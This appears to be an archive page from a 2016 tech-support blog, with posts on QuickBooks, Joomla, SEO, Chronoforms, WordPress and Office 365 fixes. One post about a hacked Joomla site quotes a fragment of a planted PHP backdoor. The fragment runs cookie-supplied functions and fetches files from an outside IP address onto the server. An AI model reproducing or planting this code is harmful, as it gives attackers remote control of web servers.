Sunday, December 03, 2023

Archive: September 2016

Solved – QuickBooks is unable to open Error Codes: -6190, -816

28 September 2016
Grimey
2 Comments
Categories: Quick Books, Tech Support

Customer got this error.

QuickBooks is unable to open this company file. It may have been opened by another user.

quickbooks_error

We had all the users log out, but the single user trying to get was getting the error.

What I did to fix it was to log onto the server, run services, and restarted all the quickbook services.

  • QuickBooksDB22
  • QuickBooksDB25
  • QBCFMonitorService – This service was not running though set to start automatically. Starting this service got it working correctly.

quickbooks_service

I hope this helps someone else out there…

 

Joomla 3 load examples explained.

22 September 2016
Grimey
No comments
Categories: Joomla, PHP

This guys post has a nice explanation of how to use the results from a select statement.

Old Comment by me:

http://www.katcode.com/joomla-database-sql-queries/

Look at number 3.

New Comment: That site was down, but here is the write up.

  1. Getting the default database connection: 
    $db =& JFactory::getDBO();
  2. Set the query. Can pass in start and length LIMIT values to shrink the resultset. This will add LIMIT 0,3 to the end. 
    $db->setQuery($query,0,3);

  3. Execute the query. You can call various methods depending on what amount of data is being returned

    $db->loadObject() – returns first row as an object. e.g. $obj->field.
$db->loadObjectList() – returns resultset as an object. For multiple records.
$db->loadResult() – returns first field of first row as a value. A single value
$db->loadRow() – returns the first row as an indexed array.
$db->loadAssoc() - returns first row as an associated array.
$db->loadAssocList() - returns resultset as an associated array. For multiple records.
$db->Execute($sql) - Execute sql that doesn't return anything. Pass sql as parameter.

Looping through a resultset:
    $db->setQuery($query,0,3);
$rows = $db->loadObjectList();
foreach($rows as $row)
{
        echo $row->fldname;
}

This will create a resultset object with specified field as key index value.


    $db->setQuery("SELECT category_id, name FROM category");
$categories = $db->loadObjectList('category_id');

I hope this helps someone else out there…

Joomla SEO – Cloud Access.net’s guide

19 September 2016
Grimey
No comments
Categories: Analytics, Joomla, SEO

I am working on a site’s SEO. In June I did what I thought was a good process

  1. Adjust the page titles
  2. Adjust the page discriptions
  3. Set SEF title and Mod ReWrite

But now in September I feel like there is a significant drop off; although, the traffic seems to be better traffic. The numbers don’t assure me that my techniques were good.

 

I stumbbled upon this video by CloudAccess.
https://www.youtube.com/watch?v=Y5et1JZ3BjY

They recommend using Google Adwords tool.
Google AdWords Keyword Tool 

 

Here is a link to Cloud Access’s Guide to SEO.

http://www.cloudaccess.net/additional-resources/56-search-engine-optimization-seo.html

I am going to review this and see if it helps.

 

They used pingdom.com to test load times of their pages.

 

I also came across this video from a Joomla Day

This guy really recommend sh404SEF.

He also schooled me on CDN (content delivery network) – for distributing your images across different servers around the world so when your site is accessed from someone far away they will be pulling the images from a server that is closer to them.

I hope this helps someone else out there…

 

 

Google Analytics – Joomla 3.6.2 – frequent queries

16 September 2016
Grimey
No comments
Categories: Joomla, Security

Looking at a customers analytics I see the following a lot.

“please enter the email address for your account. a verification code will be sent to you. once you have received the verification code, you will be able to choose a new password for your account.”

This is when you need to recover your password.

This text is located in “language/en-GB/en-GB.com_users.ini”.  I used Notepad++ to easy edit this text in hoping it will change the results.

I hope this helps someone else out there…

 

 

Hacked Joomla 3.6.2 site – cms brute rmf 3.0.zip file found in Godaddy hosting.

15 September 2016
Grimey
No comments
Categories: Analytics, Joomla, Security

Had a recent Joomla 3.6.2 install go blank. Site was fine one day and the next it was unreachable.

I FTP’ed into the site and I see WordPress folders in there and other strange files. There was a zip file called “cms brute rmf 3.0.zip”. Thre were odd PHP files such a “ebb6bff35a.php”. Look like an attack for sure. The PHP file was extremely complex.

The file “ebb6bff35a.php” starts out by grabbing the id set in a cookie for “user id” then points back the following ip with the cookie information. This IP stems from Belize.

if (isset($_COOKIE[“id”])) @$_COOKIE[“user”]($_COOKIE[“id”]);

if( isset($_REQUEST[“test_url”]) ){

echo “file test okay”; }

$f =$_GET[“d”];

$id=$f;

$current = file_get_contents(“http://80.87.205.79/$f”);

file_put_contents($id, $current);

if (!defined(‘PCLZIP_READ_BLOCK_SIZE’)) {

define( ‘PCLZIP_READ_BLOCK_SIZE’, 2048 );

}

files_in_joomla_install

Hopefully I can figure out what happen, but I am worried about security for sure.

 

After contacting Godaddy it looks like a complete attack. Uploaded PHP files, directories were created, and I didn’t get to check the database. Had to do a GoDaddy account reset and restore from an Akeeba backup.

The backup didn’t go well I got the following error.

akeeba_ajax_error

I followed the instructions on this page.

https://www.akeebabackup.com/documentation/troubleshooter/kscantextract.html

I had to create the “kicktemp” folder. Set the permissions to 777.  Set the type of install to FTP. For the root directory I had to use “/”.  Make sure to test the FTP connection.

The Kickstart restore took about 25 minutes to restore.

Here are the specs on the site.

  • Joomla 3.6.2
  • JCE
  • Akeeba
  • Chronoforms
  • JO Facebook Events Pro
  • Hot Themes Hot Fitness template.

One of the worst parts of this whole debacle is their SEO. The site was live for a month before the attack and the analytics were clicking along nicely. The site was getting around 300 plus hits a in the first month with around 100 key word matches.

During the attack the number of key word matches jumped to 16,000 matches and incredibility junky results.

analytics

This is a running store and have nothing to do with “sexy turkey”.  This all happened in just a few days. I really hope this doesn’t offend Google and they decide to block the site.

I hope this helps someone else out there…

 

Follow up:

A month later after this attack I looked at all of the directories and found no trace of another attack.

Chronoforms V5 Auto Responder Set up

9 September 2016
Grimey
No comments
Categories: Chronoforms, Joomla

I was setting up an autoresponder in chronoforms and was getting the following error.
chronoforms_5_autoresponder

The first email to the site owner went and “your message was sent” displayed, but the autoresponder email element was causing the “Mailer Error”.

I had “email” in the Dynamic to field; however, the I got this error.

How I fixed it was by using a legitimate email address in the “from email” field in the first part of the email element in the setup tab of chronoforms.

I hope this helps someone else out there…

 

White Label CMS – Brand WordPress CMS as your own

8 September 2016
Grimey
No comments
Categories: Web Hosting, WordPress

There is some much to learn and know about the various CMS systems out there. While working on a customers WordPress site I noticed how well the site was branded by the company that built it. I was Word-Im-Pressed for sure.

The plug-in was White Label CMS.

They also used Manuals Plug-in. This plug-in has a bunch of video tutorials to show administrators how to do different functions in WordPress. Here is a link to their site.

www.videousermanuals.com

 

I hope this helps someone else out there…

Office 365 – Set Individual Email Account To Never Expire

7 September 2016
Grimey
1 Comment
Categories: email, Office 365

You can do this through Power Shell. The following link has a video that makes this task easy.

https://support.office.com/en-us/article/Set-an-individual-user-s-password-to-never-expire-f493e3af-e1d8-4668-9211-230c245a0466?ui=en-US&rs=en-US&ad=US

Downloads:

Download and install the Microsoft Online Services Sign-In Assistant for IT Professionals RTW from the Microsoft Download Center.

https://www.microsoft.com/en-us/download/confirmation.aspx?id=28177

Download and install the Azure Active Directory Module for Windows PowerShell (64-bit version).  The file you are looking for is named “WindowsAzurePowershellGet.3f.3f.3fnew.exe”

I found it on the following page, at the bottom under the heading “PowerShell” and “Windows install”.

https://azure.microsoft.com/en-us/downloads/

Once you install the Active Directory Module you will need to restart your machine. Open the Powershell as an Administrator.

Once you type in the cmdlet: Connect-MsolService    , and hit enter you will be prompted for login credentials.

azure_connect_1

Use the Office 365 admin credentials.

The next line to type in is:    Set-MsolUser -UserPrincipalName theemailaccount@thedomain.com -PasswordNeverExpires $true         , hit enter.

You are done.

I hope this helps someone else out there……